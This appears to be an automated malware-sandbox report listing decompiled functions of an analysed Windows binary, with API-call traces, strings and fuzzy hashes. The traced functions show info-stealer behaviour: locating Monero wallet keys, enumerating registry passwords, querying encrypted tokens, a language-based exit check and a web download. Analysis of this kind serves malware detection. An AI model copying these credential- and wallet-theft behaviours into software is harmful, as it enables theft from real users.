Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e660309f0a34ffe88488f41217bb42db767a7659b8b7643a3f60e4c0fb46a390
Instruction ID: 4947e30857f85cf634c72f490152df0e964665f90dae4c88f90526d007b02a77
Opcode Fuzzy Hash: e660309f0a34ffe88488f41217bb42db767a7659b8b7643a3f60e4c0fb46a390
Instruction Fuzzy Hash: 215125B1D6011997CB55FB60DD92FEE733C9B54310F4041A8B60E62091EF706BA9CFA6

Function 002675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002672D0: memset.MSVCRT ref: 00267314
Part of subcall function 002672D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0026733A
Part of subcall function 002672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002673B1
Part of subcall function 002672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0026740D
Part of subcall function 002672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00267452
Part of subcall function 002672D0: HeapFree.KERNEL32(00000000), ref: 00267459

lstrcat.KERNEL32(00000000,002817FC), ref: 00267606
lstrcat.KERNEL32(00000000,00000000), ref: 00267648
lstrcat.KERNEL32(00000000, : ), ref: 0026765A
lstrcat.KERNEL32(00000000,00000000), ref: 0026768F
lstrcat.KERNEL32(00000000,00281804), ref: 002676A0
lstrcat.KERNEL32(00000000,00000000), ref: 002676D3
lstrcat.KERNEL32(00000000,00281808), ref: 002676ED
task.LIBCPMTD ref: 002676FB

Strings

: , xrefs: 0026764E

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 2f2d4dd34dfa045a28c5317549d6098ab9a569669b3c27926479033cf7f63374
Instruction ID: 467d47747d491866b9906774f6d3a2fa2fef1091184902207ac117b82f4f4df8
Opcode Fuzzy Hash: 2f2d4dd34dfa045a28c5317549d6098ab9a569669b3c27926479033cf7f63374
Instruction Fuzzy Hash: 7B317EB1920109DFCB08FBB4DC95DFE7B79BB46301B184128F102A7290DB34A9A2CF56

Function 002672D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00267314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0026733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0026740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00267452
HeapFree.KERNEL32(00000000), ref: 00267459
task.LIBCPMTD ref: 00267555

Strings

Password, xrefs: 00267401

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 95ab31869af982055b0fd76e7a1230d4cd9312d9fdee793188482a122bb1bad2
Instruction ID: 4186c0fd0bcf0529f1c55350080c79e534f20bf3cc5d88bcfa75d09e4671523e
Opcode Fuzzy Hash: 95ab31869af982055b0fd76e7a1230d4cd9312d9fdee793188482a122bb1bad2
Instruction Fuzzy Hash: FD616CB58241289BDB24DF50DC55BDAB7B8BF44304F0081E9E689A6181DFB05FD9CFA0

Function 002740B0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002740D5
RegOpenKeyExA.ADVAPI32(80000001,00E2DB30,00000000,00020119,?), ref: 002740F4
RegQueryValueExA.ADVAPI32(?,00E2E400,00000000,00000000,00000000,000000FF), ref: 00274118
RegCloseKey.ADVAPI32(?), ref: 00274122
lstrcat.KERNEL32(?,00000000), ref: 00274147
lstrcat.KERNEL32(?,00E2E3D0), ref: 0027415B

Strings

H, xrefs: 0027418B
`, xrefs: 00274233

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: H$`
API String ID: 2623679115-2340876159
Opcode ID: 0ea1e9503e3839d26363faac9a9586cf9770eb5766a27d8ff477e233f67b5a6c
Instruction ID: 6f5baab739ba7292ebb16de08f183f98cf74054afd9e129edd0f8dba6551aee7
Opcode Fuzzy Hash: 0ea1e9503e3839d26363faac9a9586cf9770eb5766a27d8ff477e233f67b5a6c
Instruction Fuzzy Hash: 7B41DBB6D101086BDB14FBB0DC46FFE773DAB88300F448958B61A56181EB755BA8CF92

Function 00278100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E2E1A8,00000000,?,00280E2C,00000000,?,00000000), ref: 00278130
RtlAllocateHeap.NTDLL(00000000), ref: 00278137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00278158
__aulldiv.LIBCMT ref: 00278172
__aulldiv.LIBCMT ref: 00278180
wsprintfA.USER32 ref: 002781AC

Strings

@, xrefs: 0027814D
%d MB, xrefs: 002781A3

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: eeafde79b777ad907ae25aecc822df510fe5782ffad60eec11f10a5937bf89b0
Instruction ID: e7161f2cc38f5a3da18c565a74d43238e3783a3fd84f3e1944ab9179b9382341
Opcode Fuzzy Hash: eeafde79b777ad907ae25aecc822df510fe5782ffad60eec11f10a5937bf89b0
Instruction Fuzzy Hash: 1E2121B1D54218ABDB00DFD4CC49FAFBB78FB45B14F108519F609BB280D77859118BA5

Function 00277690 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002776A4
RtlAllocateHeap.NTDLL(00000000), ref: 002776AB
RegOpenKeyExA.ADVAPI32(80000002,00E1C350,00000000,00020119,00000000), ref: 002776DD
RegQueryValueExA.ADVAPI32(00000000,00E2E178,00000000,00000000,?,000000FF), ref: 002776FE
RegCloseKey.ADVAPI32(00000000), ref: 00277708

Strings

x, xrefs: 002776F3
Windows 11, xrefs: 002776BD

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11$x
API String ID: 3225020163-3944839559
Opcode ID: 7e1388da3682dd511c334bfe86338c0a606b86e23451eb7498d38a7ef314748d
Instruction ID: 9844727ef96c7efbfca6eb665d90eacac85a8c4b13f44c8878353070e98760ad
Opcode Fuzzy Hash: 7e1388da3682dd511c334bfe86338c0a606b86e23451eb7498d38a7ef314748d
Instruction Fuzzy Hash: 8F014FB9A14205BBDB00EBE4DC49FAEBBB8EB49701F108468FA0597290D7B49924CB55

Function 0026BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

lstrlen.KERNEL32(00000000), ref: 0026BC9F

Part of subcall function 00278E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00278E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0026BCCD
lstrlen.KERNEL32(00000000), ref: 0026BDA5
lstrlen.KERNEL32(00000000), ref: 0026BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0026BBEB
AccountTokens, xrefs: 0026BB49
AccountTokens, xrefs: 0026BABA
AccountId, xrefs: 0026BCC4

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: a8209f671da9a1e04e9c5764ce1d11990e2376d7d960d93b7ad1450f77fee63e
Instruction ID: 00d82397872f6890526a308d6eb7a02de114811a785c9a67a21cabad17835cad
Opcode Fuzzy Hash: a8209f671da9a1e04e9c5764ce1d11990e2376d7d960d93b7ad1450f77fee63e
Instruction Fuzzy Hash: AAB111759201089BDB04FBA0DD96EEE773CAF94310F408169F50AA6091EF346A79CF66

Function 00276770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00276774
ExitProcess.KERNEL32 ref: 002767A5
ExitProcess.KERNEL32 ref: 002767AF
ExitProcess.KERNEL32 ref: 002767B9
ExitProcess.KERNEL32 ref: 002767C3
ExitProcess.KERNEL32 ref: 002767CD

Strings

*, xrefs: 0027678C

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 573f6a0bf034f18c6d6fbbf07efc1df3e2b67b50ceb72b0d44333c2857b27f16
Instruction ID: 0b6f542729bb30fa34110254db9831101ee4316901ed07a00c9b6be3e873f5db
Opcode Fuzzy Hash: 573f6a0bf034f18c6d6fbbf07efc1df3e2b67b50ceb72b0d44333c2857b27f16
Instruction Fuzzy Hash: 04F01734904209EFD384AFE1E909B6DBA70FB06702F0401A8E609862D0D7748E61DB9A

Function 00264FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00264FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00264FD1
InternetOpenA.WININET(00280DDF,00000000,00000000,00000000,00000000), ref: 00264FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00265011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00265041
InternetCloseHandle.WININET(?), ref: 002650B9
InternetCloseHandle.WININET(?), ref: 002650C6

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d5433ebfc90bcecad5b5e4775f8775a6938a199e8a8c31f479e9f1fa67deefc1
Instruction ID: 75fdc4a7f3c574fbf7afdd07fe956c9706b9066ca021a304e5da9e427a21e31e
Opcode Fuzzy Hash: d5433ebfc90bcecad5b5e4775f8775a6938a199e8a8c31f479e9f1fa67deefc1
Instruction Fuzzy Hash: 9E3108B4A00218ABDB20CF54DC85BDDB7B4EB48704F1081E8FA09A7281C7706AD5CF99

Function 002783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00278426
wsprintfA.USER32 ref: 00278459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0027847B
RegCloseKey.ADVAPI32(00000000), ref: 0027848C
RegCloseKey.ADVAPI32(00000000), ref: 00278499

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

RegQueryValueExA.ADVAPI32(00000000,00E2E130,00000000,000F003F,?,00000400), ref: 002784EC
lstrlen.KERNEL32(?), ref: 00278501
RegQueryValueExA.ADVAPI32(00000000,00E2E0B8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00280B34), ref: 00278599
RegCloseKey.ADVAPI32(00000000), ref: 00278608
RegCloseKey.ADVAPI32(00000000), ref: 0027861A

Strings

%s\%s, xrefs: 0027844D

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 0838fa7870e227ddd9798e1d2af3651829de16471fa2649b405276adb65cb63c
Instruction ID: bf4ac4b5d9886e5f546588e4e42e863b346dada6afc3d576ec648b7b52234f82
Opcode Fuzzy Hash: 0838fa7870e227ddd9798e1d2af3651829de16471fa2649b405276adb65cb63c
Instruction Fuzzy Hash: 1E212A71950218ABDB24DF54CC85FE9B7B8FB48700F00C1A8E60996180DF716A95CFD4

Function 00277720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277734
RtlAllocateHeap.NTDLL(00000000), ref: 0027773B
RegOpenKeyExA.ADVAPI32(80000002,00E1C350,00000000,00020119,002776B9), ref: 0027775B
RegQueryValueExA.ADVAPI32(002776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0027777A
RegCloseKey.ADVAPI32(002776B9), ref: 00277784

Strings

CurrentBuildNumber, xrefs: 00277771

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
